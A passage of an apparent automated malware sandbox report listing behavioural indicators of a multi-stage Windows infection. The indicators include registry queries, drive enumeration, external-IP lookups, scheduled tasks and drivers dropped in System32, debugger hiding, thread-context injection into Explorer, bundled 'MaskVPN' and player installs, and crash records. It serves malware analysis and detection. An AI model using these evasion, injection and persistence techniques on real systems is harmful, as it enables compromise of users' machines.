\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA cmHfofMk0KBLXUYfsI02YUE3.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Calculator.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA cmd.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA kPBhgOaGQk.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 6436128.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Calculator.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA hEPbeAf5cdzCvC40FkJ2kgey.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA setting.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA PowerControl_Svc.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA R3G7dwnC5UWQSVCisTbZ3gdP.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA vwcireu Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Moqycupyvi.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA setup.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA GcleanerEU.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA lv1WjFObOkFtmMFjcOs8Lr5b.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 1798190.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA LzmwAqmV.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA installer.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA kPBhgOaGQk.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Calculator.exe -
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
installer.exemsiexec.exemsiexec.exesetting.execmHfofMk0KBLXUYfsI02YUE3.tmpdescription ioc process File opened (read-only) \??\Y: installer.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\A: installer.exe File opened (read-only) \??\E: installer.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\S: installer.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\X: setting.exe File opened (read-only) \??\X: cmHfofMk0KBLXUYfsI02YUE3.tmp File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\I: installer.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\L: setting.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: installer.exe File opened (read-only) \??\O: cmHfofMk0KBLXUYfsI02YUE3.tmp File opened (read-only) \??\R: cmHfofMk0KBLXUYfsI02YUE3.tmp File opened (read-only) \??\S: cmHfofMk0KBLXUYfsI02YUE3.tmp File opened (read-only) \??\N: installer.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\F: cmHfofMk0KBLXUYfsI02YUE3.tmp File opened (read-only) \??\T: installer.exe File opened (read-only) \??\U: cmHfofMk0KBLXUYfsI02YUE3.tmp File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\N: setting.exe File opened (read-only) \??\U: setting.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\Q: installer.exe File opened (read-only) \??\S: setting.exe File opened (read-only) \??\I: cmHfofMk0KBLXUYfsI02YUE3.tmp File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\H: installer.exe File opened (read-only) \??\U: installer.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\B: setting.exe File opened (read-only) \??\A: cmHfofMk0KBLXUYfsI02YUE3.tmp File opened (read-only) \??\Y: cmHfofMk0KBLXUYfsI02YUE3.tmp File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\F: installer.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Z: setting.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\G: installer.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\W: installer.exe File opened (read-only) \??\O: installer.exe File opened (read-only) \??\E: setting.exe File opened (read-only) \??\O: setting.exe File opened (read-only) \??\P: setting.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: installer.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\H: setting.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: installer.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\J: setting.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 29 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 276 ipinfo.io 4106 ipinfo.io 4956 ip-api.com 6134 ipinfo.io 6281 ip-api.com 373 ipinfo.io 374 ipinfo.io 2779 ip-api.com 4024 ipinfo.io 102 ipinfo.io 105 ipinfo.io 275 ipinfo.io 372 ipinfo.io 6133 ipinfo.io 7753 ipinfo.io 96 freegeoip.app 277 ipinfo.io 7754 ipinfo.io 116 ip-api.com 4107 ipinfo.io 6038 ipinfo.io 95 freegeoip.app 4025 ipinfo.io 4172 ipinfo.io 6037 ipinfo.io 93 freegeoip.app 101 ipinfo.io 108 freegeoip.app 643 ip-api.com -
Drops file in System32 directory 38 IoCs
Processes:
DrvInst.exesvchost.exesvchost.exesvchost.exeDrvInst.exetapinstall.exedescription ioc process File opened for modification C:\Windows\System32\DriverStore\Temp\{3439c0c3-0111-1441-ac1f-f41edd864d69}\SETB172.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\drvstore.tmp DrvInst.exe File opened for modification C:\Windows\System32\CatRoot2\dberr.txt DrvInst.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #3 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 svchost.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{3439c0c3-0111-1441-ac1f-f41edd864d69}\oemvista.inf DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{3439c0c3-0111-1441-ac1f-f41edd864d69}\SETB173.tmp DrvInst.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\686AD3B12FDB68487AAEA92D0A823EB3 svchost.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{3439c0c3-0111-1441-ac1f-f41edd864d69}\tap0901.cat DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{3439c0c3-0111-1441-ac1f-f41edd864d69}\SETB172.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.sys DrvInst.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #5 svchost.exe File opened for modification C:\Windows\System32\Tasks\PowerControl HR svchost.exe File opened for modification C:\Windows\System32\Tasks\PowerControl LG svchost.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.inf DrvInst.exe File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.PNF DrvInst.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #1 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27 svchost.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{3439c0c3-0111-1441-ac1f-f41edd864d69}\tap0901.sys DrvInst.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #2 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #6 svchost.exe File opened for modification C:\Windows\System32\Tasks\services64 svchost.exe File opened for modification C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-941723256-3451054534-3089625102-1000 svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent A437F4CF4CCC5469 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\686AD3B12FDB68487AAEA92D0A823EB3 svchost.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{3439c0c3-0111-1441-ac1f-f41edd864d69}\SETB162.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{3439c0c3-0111-1441-ac1f-f41edd864d69}\SETB162.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.cat DrvInst.exe File opened for modification C:\Windows\System32\Tasks\User_Feed_Synchronization-{D150A421-63CD-46E4-ADDB-794A26A5C800} svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #4 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27 svchost.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{3439c0c3-0111-1441-ac1f-f41edd864d69} DrvInst.exe File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.PNF tapinstall.exe File opened for modification C:\Windows\System32\Tasks\AdvancedUpdater svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File created C:\Windows\System32\DriverStore\Temp\{3439c0c3-0111-1441-ac1f-f41edd864d69}\SETB173.tmp DrvInst.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs
Processes:
825550.exe7061122.exe1798190.exe6436128.exeR3G7dwnC5UWQSVCisTbZ3gdP.exebAYBBOjPqDL83I0RlpnTqyWX.exelv1WjFObOkFtmMFjcOs8Lr5b.exemask_svc.exemask_svc.exemask_svc.exepid process 2224 825550.exe 2032 7061122.exe 5472 1798190.exe 5652 6436128.exe 6744 R3G7dwnC5UWQSVCisTbZ3gdP.exe 6668 bAYBBOjPqDL83I0RlpnTqyWX.exe 5812 lv1WjFObOkFtmMFjcOs8Lr5b.exe 6520 mask_svc.exe 6704 mask_svc.exe 7752 mask_svc.exe -
Suspicious use of SetThreadContext 14 IoCs
Processes:
Mon174a6c5f1664f.exeMon1727c156c4abcec.exeMon1708beae021a5ff.exesvchost.exeIdRxi4NXZM3wWqCmtrTrSQZA.exeAnCdctsFOA4Jamj50y1LwMGL.exesmSluB04E17McvhBkWW7TtMh.exeq0EEv1CHHggzp0rzjAvkNWcT.exe68NfRvVPc0dMj0Af1gDD6Umk.exemw5JU8TnGlolN_o9AZ8UV5JC.exeraserver.execonhost.exesvchost.exedescription pid process target process PID 2964 set thread context of 840 2964 Mon174a6c5f1664f.exe Mon174a6c5f1664f.exe PID 1496 set thread context of 1288 1496 Mon1727c156c4abcec.exe Mon1727c156c4abcec.exe PID 5012 set thread context of 5624 5012 Mon1708beae021a5ff.exe mspaint.exe PID 5060 set thread context of 6196 5060 svchost.exe svchost.exe PID 6796 set thread context of 2604 6796 IdRxi4NXZM3wWqCmtrTrSQZA.exe Explorer.EXE PID 6856 set thread context of 2604 6856 AnCdctsFOA4Jamj50y1LwMGL.exe Explorer.EXE PID 6660 set thread context of 6816 6660 smSluB04E17McvhBkWW7TtMh.exe AppLaunch.exe PID 6152 set thread context of 1996 6152 q0EEv1CHHggzp0rzjAvkNWcT.exe q0EEv1CHHggzp0rzjAvkNWcT.exe PID 6732 set thread context of 3896 6732 68NfRvVPc0dMj0Af1gDD6Umk.exe 96EUARWEa4BFbq0Ckoh2XUza.exe PID 5848 set thread context of 4804 5848 mw5JU8TnGlolN_o9AZ8UV5JC.exe mw5JU8TnGlolN_o9AZ8UV5JC.exe PID 6288 set thread context of 2604 6288 raserver.exe Explorer.EXE PID 3856 set thread context of 7716 3856 conhost.exe explorer.exe PID 6288 set thread context of 7716 6288 raserver.exe explorer.exe PID 1888 set thread context of 5528 1888 svchost.exe svchost.exe -
Drops file in Program Files directory 64 IoCs
Processes:
autosubplayer.exeautosubplayer.exejg1_1faf.exevpn.tmpmsiexec.exedescription ioc process File created C:\Program Files (x86)\lighteningplayer\lua\http\index.html autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libdvdnav_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\libnetsync_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\playlist\soundcloud.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\control\libdummy_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\mobile_browse.html autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\vlc-48.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\dailymotion.luac autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\libgnutls_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\libaiff_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\Company\NewProduct\d.jfm jg1_1faf.exe File opened for modification C:\Program Files (x86)\MaskVPN\ipseccmd.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-VKMB4.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-TINS0.tmp vpn.tmp File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\lua\liblua_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\vlc16x16.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\vlm.html autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libafile_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\stream_window.html autosubplayer.exe File opened for modification C:\Program Files (x86)\MaskVPN\MaskVPN.exe vpn.tmp File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libavi_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libreal_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\access\libshm_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\MaskVPN\driver\win764\is-UNUJC.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-RIT4G.tmp vpn.tmp File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\browse.xml autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\keystore\libfile_keystore_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\libmpgv_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libnsc_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\AW Manager\Windows Manager\EULA.url msiexec.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\css\main.css autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\js\common.js autosubplayer.exe File created C:\Program Files (x86)\MaskVPN\is-RJHFR.tmp vpn.tmp File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libamem_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libtta_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_imem_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\mux\libmux_dummy_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\equalizer_window.html autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libmmdevice_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\librawvid_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\libaddonsfsstorage_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\access\libsftp_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\mobile.html autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\twitch.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\mobile_equalizer.html autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mpegaudio_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\video_splitter\libpanoramix_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\MaskVPN\libCommon.dll vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\libMaskVPN.dll vpn.tmp File created C:\Program Files (x86)\lighteningplayer\plugins\control\liboldrc_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\video_splitter\libclone_plugin.dll autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\js\controllers.js autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\intf\cli.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\control\libnetsync_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\anevia_xml.luac autosubplayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\stream_config_window.html autosubplayer.exe File created C:\Program Files (x86)\MaskVPN\is-2NGLM.tmp vpn.tmp File created C:\Program Files (x86)\lighteningplayer\lua\intf\modules\httprequests.luac autosubplayer.exe File created C:\Program Files (x86)\MaskVPN\is-0TA9Q.tmp vpn.tmp -
Drops file in Windows directory 64 IoCs
Processes:
MicrosoftEdge.exemsiexec.exeMicrosoftEdge.exeMicrosoftEdge.exemsiexec.exeDllHost.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeConhost.exeMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeGcleanerEU.exeMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exetaskkill.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeDrvInst.exeMicrosoftEdge.exeMicrosoftEdge.exedescription ioc process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSI67ED.tmp msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSI76E8.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri DllHost.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Installer\MSI3970.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI4EC3.tmp msiexec.exe File created C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe msiexec.exe File created C:\Windows\Installer\SourceHash{B59E6947-D960-4A88-902E-F387AFD7DF1F} msiexec.exe File opened for modification C:\Windows\Installer\MSIBC5E.tmp msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIB595.tmp msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Installer\MSI3235.tmp msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSI1E82.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIABDE.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI5CF3.tmp msiexec.exe File opened for modification C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Installer\MSI5ED3.tmp msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri Conhost.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSI3B41.tmp msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62} msiexec.exe File opened for modification C:\Windows\Installer\MSI3F37.tmp msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri GcleanerEU.exe File opened for modification C:\Windows\Installer\MSI56C3.tmp msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSID23.tmp msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Installer\f7afbbe.msi msiexec.exe File created C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri taskkill.exe File opened for modification C:\Windows\Installer\MSI36BB.tmp msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Installer\MSI28FB.tmp msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSIB593.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3DB0.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI72B1.tmp msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSI658A.tmp msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 44 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 3208 4252 WerFault.exe Mon17bffc2992eb3d.exe 3136 4252 WerFault.exe Mon17bffc2992eb3d.exe 4804 4252 WerFault.exe Mon17bffc2992eb3d.exe 2500 4252 WerFault.exe Mon17bffc2992eb3d.exe 5356 4568 WerFault.exe setup.exe 5932 4568 WerFault.exe setup.exe 6048 5012 WerFault.exe Mon1708beae021a5ff.exe 5584 4252 WerFault.exe Mon17bffc2992eb3d.exe 5924 4568 WerFault.exe setup.exe 5956 2768 WerFault.exe chrome3.exe 960 4568 WerFault.exe setup.exe 5192 4252 WerFault.exe Mon17bffc2992eb3d.exe 2136 4568 WerFault.exe setup.exe 6356 4252 WerFault.exe Mon17bffc2992eb3d.exe 6316 6660 WerFault.exe smSluB04E17McvhBkWW7TtMh.exe 2840 7268 WerFault.exe GcleanerEU.exe 1444 7268 WerFault.exe GcleanerEU.exe 8996 7268 WerFault.exe GcleanerEU.exe 2104 7268 WerFault.exe GcleanerEU.exe 5980 7268 WerFault.exe GcleanerEU.exe 5308 7268 WerFault.exe GcleanerEU.exe 6980 7268 WerFault.exe GcleanerEU.exe 7768 1432 WerFault.exe rundll32.exe 5660 6204 WerFault.exe 7Sx91zJmTpk5gOx1oDuDBfK4.exe 7404 6204 WerFault.exe 7Sx91zJmTpk5gOx1oDuDBfK4.exe 1228 6204 WerFault.exe 7Sx91zJmTpk5gOx1oDuDBfK4.exe 8692 6204 WerFault.exe 7Sx91zJmTpk5gOx1oDuDBfK4.exe 3680 7108 WerFault.exe fOeZKo5yWlrxmuDmEewDgnns.exe 5752 7108 WerFault.exe fOeZKo5yWlrxmuDmEewDgnns.exe 2464 7108 WerFault.exe fOeZKo5yWlrxmuDmEewDgnns.exe 4688 7108 WerFault.exe fOeZKo5yWlrxmuDmEewDgnns.exe 4596 7108 WerFault.exe fOeZKo5yWlrxmuDmEewDgnns.exe 6092 7108 WerFault.exe fOeZKo5yWlrxmuDmEewDgnns.exe 7560 7108 WerFault.exe fOeZKo5yWlrxmuDmEewDgnns.exe 5488 7108 WerFault.exe fOeZKo5yWlrxmuDmEewDgnns.exe 3956 7108 WerFault.exe fOeZKo5yWlrxmuDmEewDgnns.exe 4952 7108 WerFault.exe fOeZKo5yWlrxmuDmEewDgnns.exe 3584 4428 WerFault.exe GcleanerEU.exe 7560 4428 WerFault.exe GcleanerEU.exe 536 4428 WerFault.exe GcleanerEU.exe 7980 4428 WerFault.exe GcleanerEU.exe 7512 4428 WerFault.exe GcleanerEU.exe 7840 4428 